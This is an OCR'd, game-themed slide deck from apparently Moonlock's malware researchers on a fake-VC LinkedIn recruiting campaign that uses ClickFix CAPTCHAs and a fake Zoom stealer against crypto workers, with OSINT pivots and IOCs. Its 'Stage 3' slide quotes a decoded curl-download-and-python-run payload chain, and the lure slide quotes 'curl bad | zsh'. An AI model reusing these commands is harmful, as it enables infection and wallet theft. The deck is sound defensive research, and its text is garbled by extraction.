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¢ PLAYER SELECT

SELECT YOUR THREAT HUNTER
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B ORIGIN - UKRAINE w

and DO get malware.

MACOS MALWARE HUNTING

THREAT INTEL WRITING

¢ MALWARE RESEARCH -

THREAT INTEL

Hunts emerging macOS malware strains, investigates cybercrime ecosystems, and runs OSINT operations

99 OSINT / HUMINT

Writes and speaks about Mac security threats for both technical and non-technical audiences. Loud advocate that Macs can

95

92 MAKING SECURITY ACCESSIBLE
S
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£ OBJECTIVE BY THE SEA
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// PRESS » TO START MISSION 01
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X @osint_barbie




MOST WANTED - MOST WANTED - MOST WANTED - MOST WANTED - MOST WANTED

¢ ANTAGONISTS

MEET THE ANTAGONISTS
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SUSPECT 01 - THE FACE

MYKHAILO HUREIEV ANATOLII BIGDASCH

alias - "Founder, SolidBit Capital"

The registrant. Name on the WHOIS records for the phishing infra. Real person, stolen ID,
or full fabrication — TBD.

alias - "Co-Founder, SolidBit Capital"

The recruiter. Slides into DMs on LinkedIn with flattery and a Calendly link. Face may be

Al-generated.

STARS - % % % % % STARS - % % % % %

// same crew - different masks *© one campaign

// PRESS » TO START MISSION 01



WHY WE CARE
NATION-STATE HACKERS DON'T ALWAYS

DROP A ZERO-DAY.
SOMETIMES THEY JUST SEND A POLITE

LINKEDIN MESSAGE.
// And honestly? It works alarmingly well.




¢ MOONLOCK - MISSION SELECT

|

A CAMPAIGN. A TRICK. A METHOD.
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THE THEATRE

FAKE VCS. REAL TARGETS.

Al-generated team pages, polished sites, thoughtful
DMs. None of it real.

PAYOUT - $0 - REP + 250

THE TRICK

CLICKFIX.

The victim runs the payload themselves. No exploit
needed. No gun drawn.

PAYOUT - WALLET - REP + 500

MISSION 03

THE METHOD
OSINT PIVOTS.

One WHOIS record, three fake companies, one
operator. Detective mode.

TOOLS - FREE - REP + 750

» PRESS ENTER TO START




¢ MISSION O01 - STAGE 1 - THE APPROACH

L0 0.8 & ¢

Mykhailo Hureiev NPC
Co-Founder - SolidBit Capital

Hi! Recently I've been following your work on Web3 infra — really
ENGINEERING LOOKS LIKE S—
I'm a Co-Founder at a fund and we'd love a quick chat about a role we're

scoping.

Open to next steps? My Calendly's below 4

W calendly.com/mykhailo-h

// TRANSLATION: "Hi, I noticed your wallet."



¢ MISSION O01 - GROUND TRUTH

EVIDENCE - DO NOT CROSS - EVIDENCE - DO NOT CROSS - EVIDENCE

A REALVICTIM, Sl

A\ A new recruiter scam warning

Sharing this to help others stay safe. Luckily, | was cautious enough not to
click anything.
| was contacted on Linkedin by Mykhailo Hureiev, claiming to represent
SolidBit Capital, with a job opportunity. The convo quickly escalated into

being pushed to fake Zoom / Google Meet links.

Malicious links shared:
- zoom.usO7-web[.]us/j/8491559883772...
- google[.Jus-meet[.Jcom/g/xec-mfhp-gpv

Red flags:

@@xbigdan - Lookalike domains (typosquatting)
CASE FILE ¥ #2026-01 09 « Urgency to join external links
- When |l invited him to my Google Meet, he joined, stayed silent, then

disconnected
« Account blocked after

ow we know it's a campaign.

On Jan 9 2026, the victim posted screenshots of the entire LinkedIn conversation. Sharing as a heads-up - especially for anyone job hunting.

@ Stay safe:

THE TELLS - Double-check URLs (copy/paste into an LLM if unsure)
- Watch for lookalike domains
¢ Lookalike domains. » Create your own meeting links
= Trust your instincts
» Urgency to leave LinkedIn. R ——
e s 7oy - > vt vy e ol
» When invited to victim's own Meet, the "VC" joined... stayed silent... left. ‘e - ' :

AR Mureey ©

STAMP - GHOSTED HIS OWN MEETING
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[UNIT-7] Copy. That's our guy.




THE FAKE COMPANY ROTATION

THREE COMPANIES. ONE OPERATOR. ZERO REAL BUSINESSES.

THE LEGEND

SOLIDBIT coeim

Google says it exists. Sort of. Just enough breadcrumbs to

survive a five-second search.

THE BACKUP

MEGABIT

Al faces. Identical CMS. Copy-paste ipsum where the team
bios should be.

— SAME THREAT ACTOR - DIFFERENT BLAZER —

THE NEXT ONE

LUMAX capimat

Domain age: 2 weeks. Claims operations since 2018.




¢ MISSION ©O01 - NPC ROSTER

MEET THE EXECUTIVES
% LumaX Home AboutUs Portfolio  Leadership  News & Insights  Contact

IIIIIIII

TELLS - SPOT THE NPC

Executive Team

SYMMETRY BACKGROUNDS

Faces too symmetric. Generic offices, soft bokeh, zero detail.
WARDROBE SKIN

Stock corporate. Nobody's tie is crooked. Airbrushed. No pore, no scar, no soul.

Olha Koval Viadyslav Bystrov Anna Fernanda

Chief Executive Officer Chief Investment Officer Chief Operating Officer

// When the whole leadership team has perfect skin, raise an eyebrow.



¢ MISSION O3 - OSINT u1 - DOMAIN AGE

OSINT TIP #1— CHECK DOMAIN AGE

"FOUNDED IN 2018."
DOMAIN BORN LAST TUESDAY.

THEIR SITE

— | wHozs
COMPANY SINCE

Domain: lumax.capital
Registrar: Namecheap

m———y L mm——— L ———  —— Created: 2026-01-20
B ] ‘* Age: 14 DAYS
T — T — ] —

= — —_—

O = L, ‘ ™ ||E DETECTED

"Building infra since Ethereum was cheap."

// A 7-year-old company doesn't register its domain just after the Super Bowl



¢ MISSION 02 - THE HEIST ROUTE

1

FIVE STEPS. NONE OF THEM FEEL LIKE AN ATTACK.

01 - DM 02 - BOOK

LINKEDIN CALENDLY
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o3 NF PAGE

SPOOFED ZOOM

04 - CAPTCHA _, = ~

. CLIPBBARD POTSONED

ay

o

05 - TERMINEL

L —

PASTE & ENTER



¢ MISSION 02 - STAGE 2 - THE CLICKFIX TRICK

e Yl TIHIE DI FIY TRINY
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"LIVING OFF THE USER"

WHY HACK A MAC WHEN YOU CAN ASK NIGELY?

WHAT EDR SEES

PROCESS LOG

14:02:11 keyboard_input 14:02:12 keyboard_input
14:02:13 keyboard_input 14:02:15 keyboard_input //

A USER TYPING.

TIIAT
FLIAT '

]
1 ¥ W | f
! & 1Ml J d -

. WHAT THE USER SEES

. I'm not a robot

Press % + Space - type Terminal -

A CLOUDFLARE CAPTCHA.
REASSURING.

then hit Enter

Paste command ( "curl bad | zsh" ) and press Enter

YOUR MACHINE

Fora
AT

ir

CTED.

I L



¢ ZOOM OUT - TWO WALLS FALLING

?EEEEEE’E

THIS ISN'T ONE CAMPAIGN. [T°S TWO WALLS FALL
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VS VS

WALL ©O1 - O0S SILOS WwaLL o2

WINDOWS VS NACOS NATION STATE VS CRIMINAL

Used to be: separate problems. | ame C2. Same dropper. Same operatol
Different binary.
Used to be: different toolkits. Now: the Lazarus playbook ported into commodity

The hosted URL from this campaign served ELF, VBS, Python — every 0S. criminal kits.

Fake-recruiter DMs used to be a DPRK signature. Now every stealer crew runs it.

TURNS OUT THE WALL WAS A BEADED CURTAIN.



¢ COMMUNITY DEFENCE - CH 3

=MEES=S-FO:=N
SEAEEED

ALL THESE HACKERS LOST T0 ONE RESEARCHER

DBJECTIVE-SEE -+ BLOCKBLOCK vZ.4 TIMELINE - WHO SHIPPED WHEN

PATRICK GOT THERE BEFORE APPLE DID. EARLY Objective-See ships BlockBlock v2.4 with anti-paste heuristics.

Added heuristics that detect browser-to-Terminal pastes and prompt the user before execution. LATER Apple ships a Terminal warning in macOS Tahoe 26.4.

SOONER Attackers pivot to Script Editor. Warning is bypassed.




¢ CAT AND MOUSE - CH 4

APPLE 0 - ATTACKERS 1

Reclaim disk space on your Mac

Find out how 1o recover storage when your Mac warns about low disk space, or when there
Lure page Isn't enough room to save, install, or transfer files
"Reclaim disk space on your Mac." Impersonates Apple itself.

APPLE + macO0OS TAHOE 26.4 ATTACKERS +«+ JAMF’s REPORT ~3 WEEKS LATER

A WARNING FIRES WHEN TERMINAL Q
SEES A PASTE FROM A BROWSER. Malware Detected

Paste Blocked

wy

applescript://

Browser hands off to Script Editor via URL scheme. Step 1: Oper **-

Click the Exec iript Editor

Smart. Closes the ClickFix path. ...for because It contains f curl | zsh embedded. User hits P> Play.

action did not harm your

Step 2: Confirm and Run

about three weeks. Terminal warning?

Never fires. Terminal was never involved. A security prompt will appear — click New Script to continue
In the Script Editor window, press Command (3) + R or click the » Play button in the

Your copy and paste was blocked =3 do She" Script
Malicious Iinstruct a

legitimate and s

provided in w

apps, files, &
toolbar

£5¢7 . Ivoltovystbbd Inhp3lap9pt6s Execute

https://www.jamf.com/blog/clickfix-macos-script-editor-atomic-stealer/



¢ THE DECOY - CH S

=ET =$-P-0-0=FFE=D
=H=E=D-G=E-WEE-E=K

REAL PUBLICATION. FAKE CAPTCHA. LOOKS LEGIT UNTIL IT DOESN'T.

DOMAIN zoom[.]JusB7-web[.]us
HEDGEWEEK CON Local HTML. Zero Cloudflare.
The Hedge Fund Journal - Investor Access TEMPLATE Pixel-clone of the real Hedgeweek shell.

CAPTCHA Fires clipboard poison on click.

// Moonlock pinged Hedgeweek. Hedgeweek did not ping back.




¢ MISSION 02 - STAGE 3 - THE SCORE

THE MALWARE THAT ENDS WITH
"DRIVE UPDATING IS STARTED"

200 payload.sh — decoded chain
THE PLAYBOOK

(command python3 >/dev/null

|| (/bin/bash =0=] Installs Homebrew if missing

=0-2 Installs Python via Homebrew
&& (eval

python)) && (curl =00=3 Downloads the actual payload via curl
=04 Runs the just-downloaded file with python3

> /tmp/hduwhv.py) &&(python3 /tmp/hduwhv.py) =085 Tries to run detached in the background (nohup bash)

// Yes, it actually installs Homebrew



¢ EVASION - GHOST MODE

EVASION — "UNDETECTED"
ACROSS EVERY VENDOR ON VIRUSTOTAL AT THE TIME:
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On three separate samples.



¢ COMMUNITY INSIGHTS

ANTI-ANALYSIS — JUNK CODE

FIRST SHARED BY
CMALWRHUNTERTEAM
AND ANALYZED BY
@LOPSEC

4 "\ LOPsec & v

,ﬁ @LOPsec

Another potentially interesting FUD Swift app shared by

@malwrhunterteam:
755cc133ae0519accbefdd5f8f0d9fe1aa08cbcbh306c3e5f29ebcecb6aci2d

9323
A zoom lookalike that uses Telegram bot for sending captured creds. But

also more files: ELF, vbscript, python at the hosted URL? DPRK???

(@) No security vendors flagged this file as malicious
o 755cc133ae0519accbcfddsf8f0dofelaad8cbcb306c3e5f29ebchb6ac12d9323

ZoomApp

Community

Score macho arm 64bits

11:19 PM - Jan 21, 2026 - 8,794 Views

A'MACOS APPLICATION WRITTEN IN SWIFT THAT IMPERSONATES Z0OM



¢ THE DISGUISE - THE SAMPLE

THE SAMPLE — FAKE ZOOM, REAL SWIFT

NATIVE Ul. TELEGRAM EXFIL

THE ATTENTION TO DETAIL IS RUDE

WHY IT7T'S DANGEROUS
® ®® Zoom - Join Meeting

F —— SWIFTUI SECURETEXTFIELD WINDOW SHAKES ON WRONG PW

A real password prompt Ul. No osascript jank.

Enter your macOS password

Zoom needs access to your microphone.

EXFIL VIA TELEGRAM BOT HOSTS ELF + PYTHON + VBS




¢ ANTI-ANALYSIS - THE GETAWAY

ANTI-ANALYSIS — JUNK CODE

9.3 MB OF NONSENSE
TOHIDE 37.6 KB OF INTENT

loader.macho
OBFUSCATED BUILD
0x100003f24 mov x0, x19 ; junk e — —
Ox100003f28 add x1, x1, #Ox1 ; junk E ey S
Ox100003f2c nop ; junk 59;.?3%@8
9x10000330 eor x2, x2, x2 ; junk Garbage instructions across 2 segments.
0x100003F34 JSErLZRAN; « el
0x100803f38 mov xB, x21 ; junk
Ox100003Ff3c 1dr x3, [sp,#16] ; junk
Ox100003f40 cbz x3, .LO ; junk CLEAN BUILD
0x100003F44 [JUEELERICIE, « rcal
Ox100003Ff48 mov w8, #O0 ; junk e il Sy
Ox100003f4c ret ; junk ;E’EI.&;G%EB
Same logic. No padding.

// Ghidra weeps. Triage stalls.




¢ MISSION O3 - DETECTIVE MODE

HOW RESEARCHERS THINK

ONE SAMPLE — A THREAT-ACTOR HYPOTHESIS. ON A STUDENT LAPTOP.

@ &

o1 02 03 04 05
SAMPLE INFRA PIVOT BEHAVIOUR ATTRIBUTION
Hash 2 VirusTotal WHOIS the C2 Reuse the email Map the social flow Compare TTPs

// A1l free tools. The expensive part is patience.



ONE NAME.
EVERY DOMAIN.

LINKEDIN

STEP 03

Anatolli Bigdasch
y F r - SolidBit Capital

Same company that Mykhailo Hureiev claims to co-found when messaging victims

STEP 02 ' SEARCH

REGISTRANT RECORD

Name Anatolli Bigdasch

linkedin.com » in»
Anatolli Bigdasch — Founder, SolidBit Capital

Private profile - limited info

Location Boston
on LinkedIn.

Phone +1.3542438756

™ THE ANCHOR IDENTITY

solidbit.capital » about

SolidBit Capital — Web3 investment fund

Email

m SAME REGISTRANT - ALL DOMAINS

WHOIS — BIGDASCH — SOLIDBIT CAPITAL —

// Real person, stolen ID, or fully fabricated persona — we can't say. Administrative anchor — undeniably.



¢ OSINT - TWO SEARCHES - ONE UNMASKING

OSINT IN ACTION

TWO SEARCHES. ONE UNMASKING.

02. SEARCH THE COMPANY 1. SEARCH THE SOCIAL MEDIA

;- "SolidBit Capital" /- "Mykhailo Hureiev” OR “Anatolii Bigdasch” OR “SolidBit Capital”

linkedin.com/in/mykhailo-h https://x.com/Oxbigdan/status/20095445174066711577s=20
Mykhailo Hureiev — Co-Founder @0xbigdan mentioning Mykhailo Hureiev in his post about crypto scam

Same face. Same DM. Same fake company. Same name related to the SolidBit Capital.

BOTH LEAD BACK TO . SAME PERSON. SAME FAKE COMPANY.

// Threat actors invest in fake teams but reuse domains, emails, names. Classic.



¢ ATTRIBUTION - RAP SHEET

DPRK FINGERPRINT?

IF IT WALKS LIKE UNCIO63
AND IT PHISHES LIKE UNCIO68...

WANTED - COMPARISON DOSSIER CASE 10 - 2026-VC-01

EVIDENCE THIS CAMPAIGN UNC1069 (MANDIANT)

Zoom domain zoom[.Jus@7-web[. ]us zoom[ . Juswe05[. Jus

Pattern zoom.us{XX}-web.us zoom.uswe{XX}.us

Flow LinkedIn » Calendly > Zoom Telegram » Calendly > Zoom
Delivery ClickFix (fake CAPTCHA) ClickFix (fake audio fix)

Targets Crypto / Web3 talent Crypto startups / devs

// Overlap # attribution. But coincidences this neat get suspicious.



¢ CHEAT CODES - HOW NOT TO GET OWNED

FOUR RULES

HOW TO NOT BECOME THE FOOTNOTE.

O

*

NEVER PASTE INTO TERMINAL. WHOIS THE DOMAIN. URGENCY = RED FLAG. ADD AV.

No real site asks for that. Ever. "Since 2018" + domain age 2 weeks = lie. Slow conversations rarely steal crypto. Enhance your defence.

» ENTER CHEAT - MEMORISE - REPEAT



¢ POST-CREDITS SCENE - STAY CONNECTED

{xg \[ .«F;;\(‘xsrj;;;g\ " B'\lv;‘ v()‘?"'.\'\.,"{‘
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JOIN THE CREW

DMS ARE OPEN. COME MAKE TROUBLE FOR THREAT ACTORS WITH US.

™
:
3
[

71

MISSION - FOLLOW MULTIPLAYER -+ JOIN

¢ | FOLLOWUSON X «.. | DISCORD SERVER

@moonlock_1lab discord.gg/macpaw

Fresh macOS threat intel, IOC drops, and the
occasional roast of a bad C2 domain. DM s open —
happy to talk to anyone.

ST e T —
¥ 1

“ © " FOUND SOMETHING WEIRD?

macpaw.com/support/report-malware

Send us suspicious files, sketchy DMs, weird
installers. We triage everything — even the "probably
nothing" ones.

— STAY LOUD - STAY SUSPICIOUS - STAY MAC —

Jump into ## moonlock-1lab and talk shop with other
macOS researchers. Samples, screenshots, opinions
welcome.

) | MOONLOCK HO

moonlock.com

The product, the lab, the long-form articles. Read what
we've been shipping and why Macs are no longer the
safe island.

» THIS IS THE PART WHERE YOU FOLLOW




¢ WANTED POSTER - IOCs

INDICATORS OF COMPROMISE

BLOCK THESE. HUNT FOR THESE. MOCK THESE AT PARTIES.

DOMAINS 3HA-256 HASHES
FAKE ZOOM S5, 5 "E = ==
zoom[.JusO@7-web[.]us — ——
| — = = = =
: 755cc133aeB519acchcfdd5f8f0d9felaal8cbcb3B6c3e5f29ebch
e 65C12d9323 DEAD OR DISCONNECTED
zoom[.]Jus05-web[.]us LOADER (0BF)
9a778d2h7919717e95072e4dec01c815a5Fd81F574b538107652d73d
google[.]us-meet[.]com 8dc374b6
, LOADER (CLEAN)
hedgeweekss[.]online
1 2fhd34eed9dbf57a44cf1540941Fb43a793be27e13e937299167b2b
) 67ch84déb
| lumax[.]capital eheac

MYKHAILO HUREIEV ANATOLLI BIGDASCH

alias - "Co-Founder" alias - "Founder"

REWARD - YOUR WALLET STAYS PUT




¢ MOONLOCK - THREAT BRIEF

Read our report S - moonlock.com



